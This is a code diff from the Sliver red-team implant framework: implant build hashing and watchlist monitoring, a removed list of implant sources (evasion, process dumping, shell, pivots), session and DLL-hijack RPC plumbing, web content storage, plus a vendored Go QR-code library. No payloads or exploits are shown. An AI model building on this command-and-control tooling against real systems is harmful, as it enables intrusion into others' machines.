hash := hex.EncodeToString(sum[:])
|
||||
md5Hash, sha1Hash, sha256Hash := computeHashes(data)
|
||||
buildsDir, err := getBuildsDir()
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -77,7 +91,9 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
implantBuild := &models.ImplantBuild{
|
||||
Name: name,
|
||||
ImplantConfig: (*config),
|
||||
Checksum: hash,
|
||||
MD5: md5Hash,
|
||||
SHA1: sha1Hash,
|
||||
SHA256: sha256Hash,
|
||||
}
|
||||
watchtower.AddImplantToWatchlist(implantBuild)
|
||||
result := dbSession.Create(&implantBuild)
|
||||
@@ -88,6 +104,16 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
return ioutil.WriteFile(path.Join(buildsDir, implantBuild.ID.String()), data, 0600)
|
||||
}
|
||||
|
||||
func computeHashes(data []byte) (string, string, string) {
|
||||
md5Sum := md5.Sum(data)
|
||||
md5Hash := hex.EncodeToString(md5Sum[:])
|
||||
sha1Sum := sha1.Sum(data)
|
||||
sha1Hash := hex.EncodeToString(sha1Sum[:])
|
||||
sha256Sum := sha256.Sum256(data)
|
||||
sha256Hash := hex.EncodeToString(sha256Sum[:])
|
||||
return md5Hash, sha1Hash, sha256Hash
|
||||
}
|
||||
|
||||
// ImplantFileFromBuild - Saves a binary file into the database
|
||||
func ImplantFileFromBuild(build *models.ImplantBuild) ([]byte, error) {
|
||||
buildsDir, err := getBuildsDir()
|
||||
|
||||
@@ -1,216 +0,0 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// These files get rendered as part of the build process.
|
||||
|
||||
// If you add a file to `implant/sliver/` it won't be automatically included
|
||||
// as part of the build by the server, you have to add it here.
|
||||
|
||||
var (
|
||||
srcFiles = []string{
|
||||
"constants/constants.go",
|
||||
|
||||
"encoders/base64.go",
|
||||
"encoders/combos.go",
|
||||
"encoders/encoders.go",
|
||||
"encoders/english-words.go",
|
||||
"encoders/english.go",
|
||||
"encoders/gzip.go",
|
||||
"encoders/hex.go",
|
||||
"encoders/images.go",
|
||||
|
||||
"evasion/evasion.go",
|
||||
"evasion/evasion_darwin.go",
|
||||
"evasion/evasion_linux.go",
|
||||
"evasion/evasion_windows.go",
|
||||
|
||||
"extension/extension.go",
|
||||
"extension/extension_windows.go",
|
||||
"extension/extension_darwin.go",
|
||||
|
||||
"forwarder/forwarder.go",
|
||||
"forwarder/socks.go",
|
||||
"forwarder/portforward.go",
|
||||
|
||||
// C files for DLL
|
||||
"sliver.h",
|
||||
"sliver.c",
|
||||
|
||||
"handlers/rpc-handlers.go",
|
||||
"handlers/tun-handlers.go",
|
||||
"handlers/pivot-handlers.go",
|
||||
"handlers/special-handlers.go",
|
||||
"handlers/handlers_darwin.go",
|
||||
"handlers/handlers_linux.go",
|
||||
"handlers/handlers_windows.go",
|
||||
"handlers/handlers.go",
|
||||
|
||||
"hostuuid/uuid.go",
|
||||
"hostuuid/uuid_windows.go",
|
||||
"hostuuid/uuid_darwin.go",
|
||||
"hostuuid/uuid_linux.go",
|
||||
|
||||
"limits/limits.go",
|
||||
"limits/limits_windows.go",
|
||||
"limits/limits_darwin.go",
|
||||
"limits/limits_linux.go",
|
||||
|
||||
"netstat/netstat.go",
|
||||
"netstat/netstat_windows.go",
|
||||
"netstat/netstat_linux.go",
|
||||
"netstat/netstat_darwin.go",
|
||||
"netstat/netstat_types_darwin.go",
|
||||
|
||||
"procdump/dump.go",
|
||||
"procdump/dump_windows.go",
|
||||
"procdump/dump_linux.go",
|
||||
"procdump/dump_darwin.go",
|
||||
|
||||
"proxy/provider_darwin.go",
|
||||
"proxy/provider_linux.go",
|
||||
"proxy/provider_windows.go",
|
||||
"proxy/provider.go",
|
||||
"proxy/proxy.go",
|
||||
"proxy/url.go",
|
||||
|
||||
"ps/ps.go",
|
||||
"ps/ps_windows.go",
|
||||
"ps/ps_linux.go",
|
||||
"ps/ps_darwin.go",
|
||||
"ps/ps_types_darwin.go",
|
||||
|
||||
"registry/registry.go",
|
||||
"registry/registry_windows.go",
|
||||
|
||||
"service/service.go",
|
||||
"service/service_windows.go",
|
||||
|
||||
"shell/shell.go",
|
||||
"shell/shell_windows.go",
|
||||
"shell/shell_darwin.go",
|
||||
"shell/pty/pty_darwin.go",
|
||||
"shell/shell_linux.go",
|
||||
"shell/pty/pty_linux.go",
|
||||
|
||||
"shell/pty/run.go",
|
||||
"shell/pty/util.go",
|
||||
"shell/pty/doc.go",
|
||||
"shell/pty/types.go",
|
||||
"shell/pty/ztypes_386.go",
|
||||
"shell/pty/ztypes_amd64.go",
|
||||
"shell/pty/ioctl.go",
|
||||
"shell/pty/ioctl_bsd.go",
|
||||
"shell/pty/ioctl_darwin.go",
|
||||
"shell/pty/pty_unsupported.go",
|
||||
|
||||
"shell/ssh/ssh.go",
|
||||
|
||||
"taskrunner/task.go",
|
||||
"taskrunner/task_windows.go",
|
||||
"taskrunner/task_darwin.go",
|
||||
"taskrunner/task_linux.go",
|
||||
|
||||
"priv/priv.go",
|
||||
"priv/priv_windows.go",
|
||||
|
||||
"pivots/named-pipe.go",
|
||||
"pivots/named-pipe_windows.go",
|
||||
"pivots/tcp.go",
|
||||
"pivots/pivots.go",
|
||||
|
||||
"screen/screen.go",
|
||||
"screen/screenshot_darwin.go",
|
||||
"screen/screenshot_linux.go",
|
||||
"screen/screenshot_windows.go",
|
||||
|
||||
"syscalls/syscalls.go",
|
||||
"syscalls/syscalls_windows.go",
|
||||
"syscalls/types_windows.go",
|
||||
"syscalls/zsyscalls_windows.go",
|
||||
|
||||
"transports/crypto.go",
|
||||
"transports/tcp-mtls.go",
|
||||
"netstack/tun.go",
|
||||
"transports/tcp-wg.go",
|
||||
"transports/tcp-http.go",
|
||||
"transports/udp-dns.go",
|
||||
"transports/named-pipe.go",
|
||||
"transports/tcp-pivot.go",
|
||||
"transports/transports.go",
|
||||
|
||||
"version/version.go",
|
||||
"version/version_windows.go",
|
||||
"version/version_linux.go",
|
||||
"version/version_darwin.go",
|
||||
|
||||
"winhttp/winhttp.go",
|
||||
|
||||
"sliver.go",
|
||||
}
|
||||
|
||||
// PURE GO only - For compiling to unsupported platforms
|
||||
genericSrcFiles = []string{
|
||||
"constants/constants.go",
|
||||
|
||||
"encoders/base64.go",
|
||||
"encoders/combos.go",
|
||||
"encoders/encoders.go",
|
||||
"encoders/english-words.go",
|
||||
"encoders/english.go",
|
||||
"encoders/gzip.go",
|
||||
"encoders/hex.go",
|
||||
"encoders/images.go",
|
||||
|
||||
"handlers/handlers_default.go",
|
||||
"handlers/tun-handlers.go",
|
||||
"handlers/handlers.go",
|
||||
|
||||
"shell/shell_default.go",
|
||||
|
||||
"hostuuid/uuid_default.go",
|
||||
|
||||
"limits/limits.go",
|
||||
"limits/limits_default.go",
|
||||
|
||||
"pivots/named-pipe.go",
|
||||
"pivots/tcp.go",
|
||||
"pivots/pivots.go",
|
||||
|
||||
"proxy/provider.go",
|
||||
"proxy/provider_default.go",
|
||||
"proxy/proxy.go",
|
||||
"proxy/url.go",
|
||||
|
||||
"transports/crypto.go",
|
||||
"transports/tcp-mtls.go",
|
||||
"netstack/tun.go",
|
||||
"transports/tcp-wg.go",
|
||||
"transports/tcp-http.go",
|
||||
"transports/udp-dns.go",
|
||||
"transports/named-pipe.go",
|
||||
"transports/tcp-pivot.go",
|
||||
"transports/transports.go",
|
||||
|
||||
"version/version_default.go",
|
||||
"version/version.go",
|
||||
|
||||
"sliver.go",
|
||||
}
|
||||
)
|
||||
@@ -60,14 +60,14 @@ func AddSessionHandlers(key uint32, value interface{}) {
|
||||
}
|
||||
|
||||
func registerSessionHandler(session *core.Session, data []byte) {
|
||||
register := &sliverpb.Register{}
|
||||
err := proto.Unmarshal(data, register)
|
||||
if err != nil {
|
||||
handlerLog.Warnf("error decoding message: %v", err)
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if session == nil {
|
||||
register := &sliverpb.Register{}
|
||||
err := proto.Unmarshal(data, register)
|
||||
if err != nil {
|
||||
handlerLog.Errorf("Error decoding message: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -78,10 +78,8 @@ func registerSessionHandler(session *core.Session, data []byte) {
|
||||
// Parse Register UUID
|
||||
sessionUUID, err := uuid.Parse(register.Uuid)
|
||||
if err != nil {
|
||||
// Generate Random UUID
|
||||
sessionUUID = uuid.New()
|
||||
sessionUUID = uuid.New() // Generate Random UUID
|
||||
}
|
||||
|
||||
session.Name = register.Name
|
||||
session.Hostname = register.Hostname
|
||||
session.UUID = sessionUUID.String()
|
||||
@@ -161,5 +159,5 @@ func tunnelCloseHandler(session *core.Session, data []byte) {
|
||||
}
|
||||
|
||||
func pingHandler(session *core.Session, data []byte) {
|
||||
handlerLog.Infof("ping from session %d", session.ID)
|
||||
handlerLog.Debugf("ping from session %d", session.ID)
|
||||
}
|
||||
@@ -37,12 +37,12 @@ import (
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
)
|
||||
|
||||
func (rpc *Server) HijackDLL(ctx context.Context, req *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
|
||||
func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*clientpb.DllHijack, error) {
|
||||
var (
|
||||
refDLL []byte
|
||||
targetDLLData []byte
|
||||
)
|
||||
resp := &sliverpb.DllHijack{
|
||||
resp := &clientpb.DllHijack{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
|
||||
@@ -21,8 +21,8 @@ var (
|
||||
|
||||
func update(implantBuild *models.ImplantBuild) {
|
||||
if watcher != nil && initialized {
|
||||
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.Checksum)
|
||||
watcher.Add(implantBuild.Name, implantBuild.Checksum)
|
||||
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.MD5)
|
||||
watcher.Add(implantBuild.Name, implantBuild.MD5)
|
||||
watchtowerLog.Debugf("Implant added to the watch list")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -96,6 +96,7 @@ func AddWebsite(websiteName string) (*models.Website, error) {
|
||||
website = &models.Website{Name: websiteName}
|
||||
err = dbSession.Create(&website).Error
|
||||
}
|
||||
dbSession.Commit()
|
||||
return website, err
|
||||
}
|
||||
|
||||
@@ -129,6 +130,7 @@ func AddContent(websiteName string, path string, contentType string, content []b
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dbSession.Commit()
|
||||
|
||||
// Write content to disk
|
||||
webContentDir, err := getWebContentDir()
|
||||
@@ -176,7 +178,8 @@ func RemoveContent(websiteName string, path string) error {
|
||||
}
|
||||
|
||||
// Delete row
|
||||
result = dbSession.Delete(&content)
|
||||
result = dbSession.Delete(&models.WebContent{}, content.ID)
|
||||
dbSession.Commit()
|
||||
return result.Error
|
||||
}
|
||||
|
||||
|
||||
@@ -170,6 +170,12 @@ func TestRemoveContent(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
|
||||
_, _, err = GetContent(website1, "/foobar")
|
||||
if !errors.Is(err, db.ErrRecordNotFound) {
|
||||
t.Errorf("Expected ErrRecordNotFound, but got %v", err)
|
||||
}
|
||||
|
||||
_, _, err = GetContent(website1, "/data1")
|
||||
if !errors.Is(err, db.ErrRecordNotFound) {
|
||||
t.Errorf("Expected ErrRecordNotFound, but got %v", err)
|
||||
|
||||
@@ -55,7 +55,7 @@ func EncoderFromNonce(nonce int) (int, Encoder, error) {
|
||||
if encoder, ok := EncoderMap[encoderID]; ok {
|
||||
return encoderID, encoder, nil
|
||||
}
|
||||
return -1, nil, errors.New("{{if .Config.Debug}}Invalid encoder nonce{{end}}")
|
||||
return -1, nil, errors.New("Invalid encoder nonce")
|
||||
}
|
||||
|
||||
// RandomEncoder - Get a random nonce identifier and a matching encoder
|
||||
|
||||
+1
@@ -0,0 +1 @@
|
||||
.vscode/
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2014 Florian Sundermann
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
[](https://gitter.im/golang-barcode/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
|
||||
|
||||
## Introduction ##
|
||||
|
||||
This is a package for GO which can be used to create different types of barcodes.
|
||||
|
||||
## Supported Barcode Types ##
|
||||
* 2 of 5
|
||||
* Aztec Code
|
||||
* Codabar
|
||||
* Code 128
|
||||
* Code 39
|
||||
* Code 93
|
||||
* Datamatrix
|
||||
* EAN 13
|
||||
* EAN 8
|
||||
* PDF 417
|
||||
* QR Code
|
||||
|
||||
## Example ##
|
||||
|
||||
This is a simple example on how to create a QR-Code and write it to a png-file
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"image/png"
|
||||
"os"
|
||||
|
||||
"github.com/boombuler/barcode"
|
||||
"github.com/boombuler/barcode/qr"
|
||||
)
|
||||
|
||||
func main() {
|
||||
// Create the barcode
|
||||
qrCode, _ := qr.Encode("Hello World", qr.M, qr.Auto)
|
||||
|
||||
// Scale the barcode to 200x200 pixels
|
||||
qrCode, _ = barcode.Scale(qrCode, 200, 200)
|
||||
|
||||
// create the output file
|
||||
file, _ := os.Create("qrcode.png")
|
||||
defer file.Close()
|
||||
|
||||
// encode the barcode as png
|
||||
png.Encode(file, qrCode)
|
||||
}
|
||||
```
|
||||
|
||||
## Documentation ##
|
||||
See [GoDoc](https://godoc.org/github.com/boombuler/barcode)
|
||||
|
||||
To create a barcode use the Encode function from one of the subpackages.
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
package barcode
|
||||
|
||||
import "image"
|
||||
|
||||
const (
|
||||
TypeAztec = "Aztec"
|
||||
TypeCodabar = "Codabar"
|
||||
TypeCode128 = "Code 128"
|
||||
TypeCode39 = "Code 39"
|
||||
TypeCode93 = "Code 93"
|
||||
TypeDataMatrix = "DataMatrix"
|
||||
TypeEAN8 = "EAN 8"
|
||||
TypeEAN13 = "EAN 13"
|
||||
TypePDF = "PDF417"
|
||||
TypeQR = "QR Code"
|
||||
Type2of5 = "2 of 5"
|
||||
Type2of5Interleaved = "2 of 5 (interleaved)"
|
||||
)
|
||||
|
||||
// Contains some meta information about a barcode
|
||||
type Metadata struct {
|
||||
// the name of the barcode kind
|
||||
CodeKind string
|
||||
// contains 1 for 1D barcodes or 2 for 2D barcodes
|
||||
Dimensions byte
|
||||
}
|
||||
|
||||
// a rendered and encoded barcode
|
||||
type Barcode interface {
|
||||
image.Image
|
||||
// returns some meta information about the barcode
|
||||
Metadata() Metadata
|
||||
// the data that was encoded in this barcode
|
||||
Content() string
|
||||
}
|
||||
|
||||
// Additional interface that some barcodes might implement to provide
|
||||
// the value of its checksum.
|
||||
type BarcodeIntCS interface {
|
||||
Barcode
|
||||
CheckSum() int
|
||||
}
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
const charSet string = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:"
|
||||
|
||||
func stringToAlphaIdx(content string) <-chan int {
|
||||
result := make(chan int)
|
||||
go func() {
|
||||
for _, r := range content {
|
||||
idx := strings.IndexRune(charSet, r)
|
||||
result <- idx
|
||||
if idx < 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
close(result)
|
||||
}()
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func encodeAlphaNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
|
||||
|
||||
contentLenIsOdd := len(content)%2 == 1
|
||||
contentBitCount := (len(content) / 2) * 11
|
||||
if contentLenIsOdd {
|
||||
contentBitCount += 6
|
||||
}
|
||||
vi := findSmallestVersionInfo(ecl, alphaNumericMode, contentBitCount)
|
||||
if vi == nil {
|
||||
return nil, nil, errors.New("To much data to encode")
|
||||
}
|
||||
|
||||
res := new(utils.BitList)
|
||||
res.AddBits(int(alphaNumericMode), 4)
|
||||
res.AddBits(len(content), vi.charCountBits(alphaNumericMode))
|
||||
|
||||
encoder := stringToAlphaIdx(content)
|
||||
|
||||
for idx := 0; idx < len(content)/2; idx++ {
|
||||
c1 := <-encoder
|
||||
c2 := <-encoder
|
||||
if c1 < 0 || c2 < 0 {
|
||||
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
|
||||
}
|
||||
res.AddBits(c1*45+c2, 11)
|
||||
}
|
||||
if contentLenIsOdd {
|
||||
c := <-encoder
|
||||
if c < 0 {
|
||||
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
|
||||
}
|
||||
res.AddBits(c, 6)
|
||||
}
|
||||
|
||||
addPaddingAndTerminator(res, vi)
|
||||
|
||||
return res, vi, nil
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
func encodeAuto(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
|
||||
bits, vi, _ := Numeric.getEncoder()(content, ecl)
|
||||
if bits != nil && vi != nil {
|
||||
return bits, vi, nil
|
||||
}
|
||||
bits, vi, _ = AlphaNumeric.getEncoder()(content, ecl)
|
||||
if bits != nil && vi != nil {
|
||||
return bits, vi, nil
|
||||
}
|
||||
bits, vi, _ = Unicode.getEncoder()(content, ecl)
|
||||
if bits != nil && vi != nil {
|
||||
return bits, vi, nil
|
||||
}
|
||||
return nil, nil, fmt.Errorf("No encoding found to encode \"%s\"", content)
|
||||
}
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
package qr
|
||||
|
||||
type block struct {
|
||||
data []byte
|
||||
ecc []byte
|
||||
}
|
||||
type blockList []*block
|
||||
|
||||
func splitToBlocks(data <-chan byte, vi *versionInfo) blockList {
|
||||
result := make(blockList, vi.NumberOfBlocksInGroup1+vi.NumberOfBlocksInGroup2)
|
||||
|
||||
for b := 0; b < int(vi.NumberOfBlocksInGroup1); b++ {
|
||||
blk := new(block)
|
||||
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup1)
|
||||
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup1); cw++ {
|
||||
blk.data[cw] = <-data
|
||||
}
|
||||
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
|
||||
result[b] = blk
|
||||
}
|
||||
|
||||
for b := 0; b < int(vi.NumberOfBlocksInGroup2); b++ {
|
||||
blk := new(block)
|
||||
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup2)
|
||||
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup2); cw++ {
|
||||
blk.data[cw] = <-data
|
||||
}
|
||||
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
|
||||
result[int(vi.NumberOfBlocksInGroup1)+b] = blk
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func (bl blockList) interleave(vi *versionInfo) []byte {
|
||||
var maxCodewordCount int
|
||||
if vi.DataCodeWordsPerBlockInGroup1 > vi.DataCodeWordsPerBlockInGroup2 {
|
||||
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup1)
|
||||
} else {
|
||||
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup2)
|
||||
}
|
||||
resultLen := (vi.DataCodeWordsPerBlockInGroup1+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup1 +
|
||||
(vi.DataCodeWordsPerBlockInGroup2+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup2
|
||||
|
||||
result := make([]byte, 0, resultLen)
|
||||
for i := 0; i < maxCodewordCount; i++ {
|
||||
for b := 0; b < len(bl); b++ {
|
||||
if len(bl[b].data) > i {
|
||||
result = append(result, bl[b].data[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
for i := 0; i < int(vi.ErrorCorrectionCodewordsPerBlock); i++ {
|
||||
for b := 0; b < len(bl); b++ {
|
||||
result = append(result, bl[b].ecc[i])
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
+416
@@ -0,0 +1,416 @@
|
||||
// Package qr can be used to create QR barcodes.
|
||||
package qr
|
||||
|
||||
import (
|
||||
"image"
|
||||
|
||||
"github.com/boombuler/barcode"
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
type encodeFn func(content string, eccLevel ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error)
|
||||
|
||||
// Encoding mode for QR Codes.
|
||||
type Encoding byte
|
||||
|
||||
const (
|
||||
// Auto will choose ths best matching encoding
|
||||
Auto Encoding = iota
|
||||
// Numeric encoding only encodes numbers [0-9]
|
||||
Numeric
|
||||
// AlphaNumeric encoding only encodes uppercase letters, numbers and [Space], $, %, *, +, -, ., /, :
|
||||
AlphaNumeric
|
||||
// Unicode encoding encodes the string as utf-8
|
||||
Unicode
|
||||
// only for testing purpose
|
||||
unknownEncoding
|
||||
)
|
||||
|
||||
func (e Encoding) getEncoder() encodeFn {
|
||||
switch e {
|
||||
case Auto:
|
||||
return encodeAuto
|
||||
case Numeric:
|
||||
return encodeNumeric
|
||||
case AlphaNumeric:
|
||||
return encodeAlphaNumeric
|
||||
case Unicode:
|
||||
return encodeUnicode
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e Encoding) String() string {
|
||||
switch e {
|
||||
case Auto:
|
||||
return "Auto"
|
||||
case Numeric:
|
||||
return "Numeric"
|
||||
case AlphaNumeric:
|
||||
return "AlphaNumeric"
|
||||
case Unicode:
|
||||
return "Unicode"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// Encode returns a QR barcode with the given content, error correction level and uses the given encoding
|
||||
func Encode(content string, level ErrorCorrectionLevel, mode Encoding) (barcode.Barcode, error) {
|
||||
bits, vi, err := mode.getEncoder()(content, level)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
blocks := splitToBlocks(bits.IterateBytes(), vi)
|
||||
data := blocks.interleave(vi)
|
||||
result := render(data, vi)
|
||||
result.content = content
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func render(data []byte, vi *versionInfo) *qrcode {
|
||||
dim := vi.modulWidth()
|
||||
results := make([]*qrcode, 8)
|
||||
for i := 0; i < 8; i++ {
|
||||
results[i] = newBarcode(dim)
|
||||
}
|
||||
|
||||
occupied := newBarcode(dim)
|
||||
|
||||
setAll := func(x int, y int, val bool) {
|
||||
occupied.Set(x, y, true)
|
||||
for i := 0; i < 8; i++ {
|
||||
results[i].Set(x, y, val)
|
||||
}
|
||||
}
|
||||
|
||||
drawFinderPatterns(vi, setAll)
|
||||
drawAlignmentPatterns(occupied, vi, setAll)
|
||||
|
||||
//Timing Pattern:
|
||||
var i int
|
||||
for i = 0; i < dim; i++ {
|
||||
if !occupied.Get(i, 6) {
|
||||
setAll(i, 6, i%2 == 0)
|
||||
}
|
||||
if !occupied.Get(6, i) {
|
||||
setAll(6, i, i%2 == 0)
|
||||
}
|
||||
}
|
||||
// Dark Module
|
||||
setAll(8, dim-8, true)
|
||||
|
||||
drawVersionInfo(vi, setAll)
|
||||
drawFormatInfo(vi, -1, occupied.Set)
|
||||
for i := 0; i < 8; i++ {
|
||||
drawFormatInfo(vi, i, results[i].Set)
|
||||
}
|
||||
|
||||
// Write the data
|
||||
var curBitNo int
|
||||
|
||||
for pos := range iterateModules(occupied) {
|
||||
var curBit bool
|
||||
if curBitNo < len(data)*8 {
|
||||
curBit = ((data[curBitNo/8] >> uint(7-(curBitNo%8))) & 1) == 1
|
||||
} else {
|
||||
curBit = false
|
||||
}
|
||||
|
||||
for i := 0; i < 8; i++ {
|
||||
setMasked(pos.X, pos.Y, curBit, i, results[i].Set)
|
||||
}
|
||||
curBitNo++
|
||||
}
|
||||
|
||||
lowestPenalty := ^uint(0)
|
||||
lowestPenaltyIdx := -1
|
||||
for i := 0; i < 8; i++ {
|
||||
p := results[i].calcPenalty()
|
||||
if p < lowestPenalty {
|
||||
lowestPenalty = p
|
||||
lowestPenaltyIdx = i
|
||||
}
|
||||
}
|
||||
return results[lowestPenaltyIdx]
|
||||
}
|
||||
|
||||
func setMasked(x, y int, val bool, mask int, set func(int, int, bool)) {
|
||||
switch mask {
|
||||
case 0:
|
||||
val = val != (((y + x) % 2) == 0)
|
||||
break
|
||||
case 1:
|
||||
val = val != ((y % 2) == 0)
|
||||
break
|
||||
case 2:
|
||||
val = val != ((x % 3) == 0)
|
||||
break
|
||||
case 3:
|
||||
val = val != (((y + x) % 3) == 0)
|
||||
break
|
||||
case 4:
|
||||
val = val != (((y/2 + x/3) % 2) == 0)
|
||||
break
|
||||
case 5:
|
||||
val = val != (((y*x)%2)+((y*x)%3) == 0)
|
||||
break
|
||||
case 6:
|
||||
val = val != ((((y*x)%2)+((y*x)%3))%2 == 0)
|
||||
break
|
||||
case 7:
|
||||
val = val != ((((y+x)%2)+((y*x)%3))%2 == 0)
|
||||
}
|
||||
set(x, y, val)
|
||||
}
|
||||
|
||||
func iterateModules(occupied *qrcode) <-chan image.Point {
|
||||
result := make(chan image.Point)
|
||||
allPoints := make(chan image.Point)
|
||||
go func() {
|
||||
curX := occupied.dimension - 1
|
||||
curY := occupied.dimension - 1
|
||||
isUpward := true
|
||||
|
||||
for true {
|
||||
if isUpward {
|
||||
allPoints <- image.Pt(curX, curY)
|
||||
allPoints <- image.Pt(curX-1, curY)
|
||||
curY--
|
||||
if curY < 0 {
|
||||
curY = 0
|
||||
curX -= 2
|
||||
if curX == 6 {
|
||||
curX--
|
||||
}
|
||||
if curX < 0 {
|
||||
break
|
||||
}
|
||||
isUpward = false
|
||||
}
|
||||
} else {
|
||||
allPoints <- image.Pt(curX, curY)
|
||||
allPoints <- image.Pt(curX-1, curY)
|
||||
curY++
|
||||
if curY >= occupied.dimension {
|
||||
curY = occupied.dimension - 1
|
||||
curX -= 2
|
||||
if curX == 6 {
|
||||
curX--
|
||||
}
|
||||
isUpward = true
|
||||
if curX < 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
close(allPoints)
|
||||
}()
|
||||
go func() {
|
||||
for pt := range allPoints {
|
||||
if !occupied.Get(pt.X, pt.Y) {
|
||||
result <- pt
|
||||
}
|
||||
}
|
||||
close(result)
|
||||
}()
|
||||
return result
|
||||
}
|
||||
|
||||
func drawFinderPatterns(vi *versionInfo, set func(int, int, bool)) {
|
||||
dim := vi.modulWidth()
|
||||
drawPattern := func(xoff int, yoff int) {
|
||||
for x := -1; x < 8; x++ {
|
||||
for y := -1; y < 8; y++ {
|
||||
val := (x == 0 || x == 6 || y == 0 || y == 6 || (x > 1 && x < 5 && y > 1 && y < 5)) && (x <= 6 && y <= 6 && x >= 0 && y >= 0)
|
||||
|
||||
if x+xoff >= 0 && x+xoff < dim && y+yoff >= 0 && y+yoff < dim {
|
||||
set(x+xoff, y+yoff, val)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
drawPattern(0, 0)
|
||||
drawPattern(0, dim-7)
|
||||
drawPattern(dim-7, 0)
|
||||
}
|
||||
|
||||
func drawAlignmentPatterns(occupied *qrcode, vi *versionInfo, set func(int, int, bool)) {
|
||||
drawPattern := func(xoff int, yoff int) {
|
||||
for x := -2; x <= 2; x++ {
|
||||
for y := -2; y <= 2; y++ {
|
||||
val := x == -2 || x == 2 || y == -2 || y == 2 || (x == 0 && y == 0)
|
||||
set(x+xoff, y+yoff, val)
|
||||
}
|
||||
}
|
||||
}
|
||||
